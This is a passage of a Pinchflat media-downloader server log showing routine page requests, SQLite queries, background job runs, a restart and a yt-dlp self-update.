:not_mounted_at_router Session: %{"_csrf_token" => "7G43zeV3OxLBfv85U_WIX9Gb"} 03:17:11.601 [debug] Replied in 47µs 03:17:13.223 [info] GET / 03:17:13.223 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 03:17:13.224 [debug] QUERY OK source="settings" db=0.5ms idle=604.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:13.224 [debug] QUERY OK source="media_profiles" db=0.1ms idle=605.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 03:17:13.224 [debug] QUERY OK source="sources" db=0.1ms idle=605.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 03:17:13.225 [debug] QUERY OK source="media_items" db=0.7ms idle=606.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:17:13.226 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=316.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:17:13.226 [debug] QUERY OK source="settings" db=0.3ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:13.227 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:13.227 [debug] QUERY OK source="settings" db=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:17:13.228 [debug] QUERY OK source="tasks" db=0.4ms idle=2.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 03:17:13.229 [debug] QUERY OK source="media_items" db=0.4ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:17:13.230 [debug] QUERY OK source="media_items" db=0.5ms idle=3.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:17:13.232 [debug] QUERY OK source="media_items" db=1.4ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 03:17:13.233 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:17:13.233 [debug] QUERY OK source="sources" db=0.3ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:17:13.235 [info] Sent 200 in 12ms 03:17:13.693 [info] CONNECTED TO Phoenix.LiveView.Socket in 28µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "Dg1eDSF6AAEDCCU2BBMHHmd9JAd6ATUJHy7AMJ4V0ca_sPOD8IoeW7oa", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.oddbox.tech/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.oddbox.tech/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 03:17:13.764 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FtiLl04W3kDiwCHZ_4Kb-6Zh", "media_state" => "downloaded"} 03:17:13.765 [debug] QUERY OK source="media_items" db=0.5ms idle=534.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 03:17:13.765 [debug] QUERY OK source="media_items" db=0.6ms idle=534.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:17:13.765 [debug] Replied in 1ms 03:17:13.766 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FtiLl04W3kDiwCHZ_4Kb-6Zh", "media_state" => "pending"} 03:17:13.768 [debug] QUERY OK source="media_items" db=0.8ms idle=534.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 03:17:13.769 [debug] QUERY OK source="media_items" db=1.4ms idle=535.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 03:17:13.770 [debug] QUERY OK source="sources" db=0.4ms idle=536.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:17:13.770 [debug] Replied in 3ms 03:17:13.772 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FtiLl04W3kDiwCHZ_4Kb-6Zh"} 03:17:13.773 [debug] QUERY OK source="tasks" db=0.2ms idle=8.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 03:17:13.773 [debug] Replied in 625µs 03:17:13.773 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "FtiLl04W3kDiwCHZ_4Kb-6Zh"} 03:17:13.774 [debug] Replied in 66µs 03:17:23.207 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:53.209 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.823 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:23.211 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:53.213 [info] {"source":"oban","duration":1088,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.824 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:23.215 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:48.403 [notice] SIGTERM received - shutting down 03:19:48.449 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 03:20:26.254 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:20:26.254 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:20:26.257 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:20:26.276 [debug] QUERY OK source="oban_jobs" db=8.3ms queue=16.2ms idle=0.0ms UPDATE "oban_jobs" AS o0 SET "state" = ? WHERE (o0."state" = 'executing') ["retryable"] 03:20:26.276 [info] Reset 0 executing jobs 03:20:26.285 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 03:20:26.297 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:20:26.311 [debug] Exqlite: loading extension `/app/lib/pinchflat-2025.9.26/priv/repo/extensions/sqlean-linux-x86/sqlean` 03:20:31.145 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2025.09.26 03:20:31.145 [info] [command_wrapper]: /usr/local/bin/apprise called with: --version 03:20:32.059 [debug] [command_wrapper]: /usr/local/bin/apprise called with: --version exited: 0 with: Apprise v1.9.4 Copyright (C) 2025 Chris Caron This code is licensed under the BSD 2-Clause License. 03:20:32.074 [debug] QUERY OK source="settings" db=7.9ms queue=6.8ms idle=1801.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:32.082 [debug] QUERY OK source="settings" db=7.3ms idle=1816.6ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2025.09.26", 1] 03:20:32.087 [debug] QUERY OK source="settings" db=4.7ms idle=1824.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:32.090 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:20:32.111 [info] {"message":"notifier only receiving messages from its own node, functionality may be degraded","source":"oban","event":"notifier:switch","connectivity_status":"solitary"} 03:20:32.140 [info] Running PinchflatWeb.Endpoint with cowboy 2.13.0 at 0.0.0.0:8945 (http) 03:20:32.150 [info] Access PinchflatWeb.Endpoint at http://localhost:8945 03:20:32.165 [info] {"args":{},"id":257,"meta":{},"system_time":1774174832165246413,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 03:20:32.165 [info] Updating yt-dlp 03:20:32.165 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 03:20:36.963 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Current version: stable@2025.09.26 from yt-dlp/yt-dlp Latest version: stable@2026.03.17 from yt-dlp/yt-dlp Current Build Hash: d2f07382138f4bd882254996502636f5a67a8c5ee5ab8a25807e2784a4878642 Updating to stable@2026.03.17 from yt-dlp/yt-dlp ... Updated yt-dlp to stable@2026.03.17 from yt-dlp/yt-dlp 03:20:36.963 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 03:20:38.565 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 03:20:38.567 [debug] QUERY OK source="settings" db=1.7ms idle=1296.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:38.571 [debug] QUERY OK source="settings" db=1.8ms queue=2.3ms idle=1298.4ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2026.03.17", 1] 03:20:38.575 [info] {"args":{},"id":257,"meta":{},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":6406623,"event":"job:stop","queue_time":160603,"attempt":1,"tags":["local_data"]} 03:21:00.107 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:02.108 [info] {"source":"oban","duration":2392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:32.110 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.109 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:02.112 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:32.114 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.111 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:02.116 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:32.118 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:36.537 [info] GET /sources/1 03:23:36.537 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 03:23:36.539 [debug] QUERY OK source="sources" db=0.5ms queue=0.8ms idle=1267.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:23:36.539 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1269.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:23:36.540 [debug] QUERY OK source="tasks" db=0.5ms idle=1269.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 03:23:36.541 [debug] QUERY OK source="oban_jobs" db=0.7ms queue=0.1ms idle=1010.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [252] 03:23:36.542 [debug] QUERY OK source="settings" db=0.4ms idle=10.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:36.542 [debug] QUERY OK source="settings" db=0.0ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:36.543 [debug] QUERY OK source="settings" db=0.4ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:23:36.544 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:23:36.549 [debug] QUERY OK source="media_items" db=4.1ms queue=0.3ms idle=3.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 03:23:36.555 [debug] QUERY OK source="media_items" db=4.6ms queue=0.4ms idle=8.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 03:23:36.557 [debug] QUERY OK source="sources" db=0.4ms idle=14.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 03:23:36.557 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=14.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 03:23:36.561 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=13.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM 